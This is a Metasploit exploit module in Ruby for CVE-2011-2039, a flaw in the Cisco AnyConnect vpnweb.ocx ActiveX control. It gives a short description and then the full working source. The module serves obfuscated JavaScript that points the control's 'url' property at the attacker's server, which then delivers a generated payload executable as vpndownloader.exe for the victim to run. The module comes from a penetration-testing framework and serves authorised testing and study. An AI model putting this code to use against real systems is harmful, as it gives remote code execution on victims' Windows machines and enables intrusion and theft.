This Metasploit module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the 'url' property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the 'url' property. One of these files it will be stored in a temporary directory and executed.
ef1996fa8324f29a9b671331d440a114bd14ca14534139ba1cdb0b9541a1ba33##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
'Description' => %q{
This module exploits a vulnerability in the Cisco AnyConnect VPN client
vpnweb.ocx ActiveX control. This control is typically used to install the
VPN client. An attacker can set the 'url' property which is where the control
tries to locate the files needed to install the client.
The control tries to download two files from the site specified within the
'url' property. One of these files it will be stored in a temporary directory and
executed.
},
'License' => MSF_LICENSE,
'Author' => [ 'bannedit' ],
'Version' => '$Revision: 12872 $',
'References' =>
[
[ 'CVE', '2011-2039' ],
[ 'OSVDB', '72714'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_X86
}
],
],
'DisclosureDate' => 'Jun 01 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def on_request_uri(cli, request)
if request.uri.match(/vpndownloader\.exe/)
exe = generate_payload_exe({:code => payload.encoded})
print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
select(nil, nil, nil, 5) # let the file download
handler(cli)
return
end
if request.uri.match(/updates\.txt/)
print_status("Client requested: #{request.uri}. Sending updates.txt")
updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
send_response(cli, updates, { 'Content-Type' => 'text/plain' })
return
end
url = get_uri(cli)
dir = rand_text_alpha((rand(40) + 1))
js = ::Rex::Exploitation::JSObfu.new %Q|
var x = document.createElement("object");
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
x.url = "#{url}/#{dir}/";
|
js.obfuscate
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html)
end
end
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